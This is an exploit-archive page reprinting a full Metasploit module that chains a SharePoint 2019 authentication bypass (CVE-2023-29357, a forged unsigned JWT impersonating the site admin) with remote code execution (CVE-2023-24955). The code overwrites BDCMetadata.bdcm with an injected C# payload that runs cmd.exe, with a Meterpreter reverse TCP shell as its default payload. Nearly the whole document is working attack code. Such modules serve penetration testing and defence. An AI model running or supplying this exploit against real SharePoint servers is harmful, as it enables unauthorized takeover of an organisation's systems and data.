Sharepoint Dynamic Proxy Generator Remote Command Execution

2024.03.27
Credit: Jang
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'securerandom' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Sharepoint include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck class SharepointError < StandardError; end class SharepointInvalidResponseError < SharepointError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE', 'Description' => %q{ This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. }, 'Author' => [ 'Jang', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'], [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'], [ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'], [ 'CVE', '2023-29357'], [ 'CVE', '2023-24955'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'Targets' => [ [ 'Windows Command', { 'Platform' => ['win'], 'Arch' => [ARCH_CMD], 'Type' => :cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', 'WritableDir' => '%TEMP%', 'CmdStagerFlavor' => [ 'curl' ] } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-05-01', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]) ]) end def resolve_target_hostname res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { # The NTLM SSP challenge: 'NTLMSSP<binary data>HOSTNAME' 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO' } }) if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase else raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header' end end def get_oauth_info(hostname) vprint_status('getting oauth info') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh', 'HOST' => hostname } }) if res && res.headers['WWW-Authenticate'] raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ realm = Regexp.last_match(1) client_id = Regexp.last_match(2) print_status("realm: #{realm}, client_id: #{client_id}") return realm, client_id else raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info' end end def gen_endpoint_hash(url) Base64.strict_encode64(Digest::SHA256.digest(url.downcase)) end def gen_app_proof_token jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" b64_token = Rex::Text.encode_base64(jwt_token) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" end def send_get_request(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'GET', 'headers' => @auth_headers }) end def send_json_request(url, data) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'POST', 'ctype' => 'application/json', 'headers' => @auth_headers, 'data' => data.to_json }) end def get_current_user res = send_get_request('/_api/web/currentuser') if res&.code != 200 raise SharepointInvalidResponseError, 'Failed to get current user' end res.body end def do_auth_bypass hostname = resolve_target_hostname hostname = hostname.split('.')[0] if hostname.include?('.') print_status("Discovered hostname is: #{hostname}") @realm, @client_id = get_oauth_info(hostname) print_status("Got Oauth Info: #{@realm}|#{@client_id}") @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) print_status("Lob id is: #{@lob_id}") token = gen_app_proof_token @auth_headers = { 'X-PROOF_TOKEN' => token, 'Authorization' => "Bearer #{token}", 'HOST' => hostname } user_info = get_current_user raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil? user_info =~ %r{<d:LoginName>.+?\|(.+)\|.+?</d:LoginName>} raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1) username = Regexp.last_match(1) if user_info.include?('true</d:IsSiteAdmin>') # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint print_status("Successfully impersonated Site Admin: #{username}") else raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.' end @auth_bypassed = true end def check version = sharepoint_get_version return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? print_status("Sharepoint version detected: #{version}") begin CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass rescue SharepointInvalidResponseError => e return CheckCode::Safe(e) end end def create_c_sharp_payload(cmd) class_name = Rex::Text.rand_text_alpha(rand(4..8)) c_sharp_payload = <<~EOF #{Rex::Text.rand_text_alpha(rand(4..8))}{ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ static #{class_name}(){ System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}"); } } } namespace #{Rex::Text.rand_text_alpha(rand(4..8))} EOF c_sharp_payload end def drop_and_execute_payload bdcm_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?> <Model xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\" xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\"> <LobSystems> <LobSystem Name=\"#{@lob_id}\" Type=\"WebService\"> <Properties> <Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property> <Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\"> <![CDATA[#{create_c_sharp_payload(payload.encoded)}]]> </Property> <Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property> </Properties> <LobSystemInstances> <LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance> </LobSystemInstances> <Entities> <Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\"> <Properties> <Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property> </Properties> <Identifiers> <Identifier Name=\"ID\" TypeName=\"System.Int32\" /> </Identifiers> <Methods> <Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\"> <Parameters> <Parameter Name=\"@ID\" Direction=\"In\"> <TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" /> </Parameter> <Parameter Name=\"@CreateProduct\" Direction=\"Return\"> <TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor> </Parameter> </Parameters> <MethodInstances> <MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\"> <AccessControlList> <AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\"> <Right BdcRight=\"Execute\" /> </AccessControlEntry> </AccessControlList> </MethodInstance> </MethodInstances> </Method> </Methods> </Entity> </Entities> </LobSystem> </LobSystems> </Model>" url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'headers' => @auth_headers, 'data' => bdcm_data }) fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 print_good('Payload has been successfully delivered') entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}" exec_cmd_data = "<Request AddExpandoFieldTypeSuffix=\"true\" SchemaVersion=\"15.0.0.0\" LibraryVersion=\"16.0.0.0\" ApplicationName=\".NET Library\" xmlns=\"http://schemas.microsoft.com/sharepoint/clientquery/2009\"><Actions><ObjectPath Id=\"21\" ObjectPathId=\"20\" /><ObjectPath Id=\"23\" ObjectPathId=\"22\" /></Actions><ObjectPaths><Method Id=\"20\" ParentId=\"7\" Name=\"Execute\"><Parameters><Parameter Type=\"String\">CreateProduct</Parameter><Parameter ObjectPathId=\"17\" /><Parameter Type=\"Array\"><Object Type=\"String\">1</Object></Parameter></Parameters></Method><Property Id=\"22\" ParentId=\"20\" Name=\"ReturnParameterCollection\" /><Identity Id=\"7\" Name=\"#{entity_id}\" /><Identity Id=\"17\" Name=\"#{lob_system_instance}\" /></ObjectPaths></Request>" res2 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'headers' => @auth_headers, 'data' => exec_cmd_data }) fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 end def ensure_target_dir_present res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') @backup_bdc_metadata = '' if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') print_status('BDCMetadata file already present on the remote host, backing it up.') res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty? @backup_bdc_metadata = res_bdc_metadata.body store_bdcmetadata_loot(res_bdc_metadata.body) else print_warning('Failed to backup the existing BDCMetadata.bdcm file') end else body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } res_json = send_json_request('/_api/web/folders', body) if res_json&.code == 201 print_status('Created BDCM Folder') else fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') end end end def on_new_session(_session) url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'headers' => @auth_headers, 'data' => @backup_bdc_metadata }) if res&.code == 200 print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.') else print_error('BDCMetadata.bdcm restoration has failed.') end end def store_bdcmetadata_loot(data) file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}") end def exploit # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass. unless @auth_bypassed begin do_auth_bypass rescue SharepointError => e fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}") end end # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up. ensure_target_dir_present drop_and_execute_payload end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top